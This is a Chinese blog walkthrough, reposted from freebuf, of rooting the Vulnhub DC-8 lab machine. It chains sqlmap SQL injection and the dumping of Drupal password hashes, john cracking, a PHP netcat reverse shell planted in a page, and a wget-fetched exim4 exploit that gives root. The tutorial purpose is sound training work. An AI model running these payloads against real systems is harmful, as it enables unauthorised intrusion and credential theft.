Vulnhub靶机渗透测试之DC-8 – 作者:waizai

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网https://www.vulnhub.com

下载地址https://download.vulnhub.com/dc/DC-8.zip

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:172.20.10.3

DC靶机:192.168.2.25

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

1612513417_601d0089d55ad0dbeef22.png!small?1612513416675

信息收集

1、老样子三板斧,上nmap进行主机探测

扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议。

1612515956_601d0a7463bc3f18d19b0.png!small?1612515955503

2、既然扫描到了80端口,那就直接访问一下

1612516106_601d0b0a7ecb151d8d8ad.png!small?1612516105384

3、目录扫描(我使用的是dirsearch工具),扫描到一个登录界面。

1612516580_601d0ce4181dc78704ecc.png!small?1612516578915

1612516633_601d0d191b253dfe1ea43.png!small?1612516631909

4、尝试爆破了一下,没成功,可能是自己的字典太lj了,只有尝试其他的方式了。

sql注入

1、后来点击De’tails导航栏的模块,发现url里面带有参数,果断尝试一下sql注入。没想到也确实存在sql注入,真实得来全不费工夫呀!

1612516795_601d0dbb9664068d5f057.png!small?1612516794479

1612516891_601d0e1beba49e0abdf28.png!small?1612516890817

2、既然存在sql注入,那就得掏出sqlmap这个大杀器了

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27

1612517181_601d0f3d3d9ad8bdb0ead.png!small?1612517180134

3、爆库名:d7db

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 –current-db

1612517359_601d0fefcdaa805b43250.png!small?1612517358616

4、爆表,一共爆出来有八十多张表,但是我是需要登录用户名密码,所以就查看了users这张表

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db –tables

1612517553_601d10b1bd29727541266.png!small?1612517552543

5、爆列名,爆出来其中有16列

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db -T users –columns

1612518074_601d12baca800168ccf7b.png!small?1612518073631

6、读取数据,既然我们找到了登录页面,那就只需要账户名和密码,所以读取账户名和密码,即name和pass这两列。

得到用户名admin和john,密码经过加密,需要解密。

1612518272_601d1380e5da9f348938f.png!small?1612518271821

密码破解

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,卧槽,john不是一个密码破解的工具吗?那就应该是要用john工具来爆破密码了。

1、将得到的账户名和密码放到文本文件中

2、然后开始使用john爆破密码

john dc8.txt

1612532309_601d4a556381207afb0aa.png!small?1612532308687

得到john用户的密码为:turtle

admin用户的密码破解不出来!!!

反弹shell

1、使用得到的账户名和密码登录

1612521052_601d1e5c0bfff098c2284.png!small?1612521050850

2、发现Contact Us 页面可以修改,所以可以直接写入一个shell,然后将其反弹到攻击机。

1612532942_601d4cce589ce74454a33.png!small?1612532941651

1612532981_601d4cf5388aad2b9c494.png!small?1612532980464

1612533018_601d4d1ad10ad23c5a612.png!small?1612533018174

3、写入shell

<?php system(“nc -e /bin/sh 172.20.10.3  1234”); ?>

1612533049_601d4d3972b8057a99264.png!small?1612533049088

4、然后回到view页面,填写一些东西提交,同时在攻击机上开始监听

1612533617_601d4f71b3f683d1bda32.png!small?1612533617004

5、成功得到shell

1612533652_601d4f9432de8ccb1efed.png!small?1612533651406

提权

1、老规矩,返回一个稳定的交互式shell

python -c “import pty;pty.spawn(‘/bin/bash’)”

1612533809_601d5031b06f27296c6df.png!small?1612533809309

2、使用命令查看是否有suid的提权的命令

find / -user root -perm -4000 -print 2>/dev/null

1612533844_601d50541de1102999f4f.png!small?1612533843394

3、找到一个exim4的命令,查看其版本

/usr/sbin/exim4 –version

1612533945_601d50b9465940538921d.png!small?1612533944630

4、使用searchsploit来寻找版本漏洞

searchsploit exim 4

1612534162_601d5192e291cf2b0ae70.png!small?1612534162376

5、将脚本复制到本地,命令为shell.sh

或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996

cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh

6、然后将脚本下载到到靶机中

可以将脚本放到攻击机的apache目录下,然后再使用获得的靶机的shell下载

mv shell.sh /var/www/html #移动脚本到目录/var/www/html下

service apache2 start #启动apache服务

1612535239_601d55c74b84d6aaf8acd.png!small?1612535238623

7、在靶机中下载脚本,只能在靶机的tmp目录下下载,因为/tmp目录的权限大。

wget http://172.20.10.3/shell.sh

1612535656_601d576802a8e0974950b.png!small?1612535655222

8、赋予脚本权限,然后执行脚本

chmod 777 shell.sh #赋予脚本权限

./shell.sh -m netcat #执行脚本

1612536500_601d5ab48aff231a6312c.png!small?1612536499722

9、失败了

原因是:shell.sh文件的格式为dos格式。linux只能执行格式为unix格式的脚本。

使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。

所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix

然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!!!

1612537570_601d5ee2ce210e81e633a.png!small?1612537571478

知识点总结

1、nmap的使用

2、sql注入,常用的sqlmap指令

3、john破解密码

4、exim的版本漏洞

来源:freebuf.com 2021-02-05 23:08:15 by: waizai

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论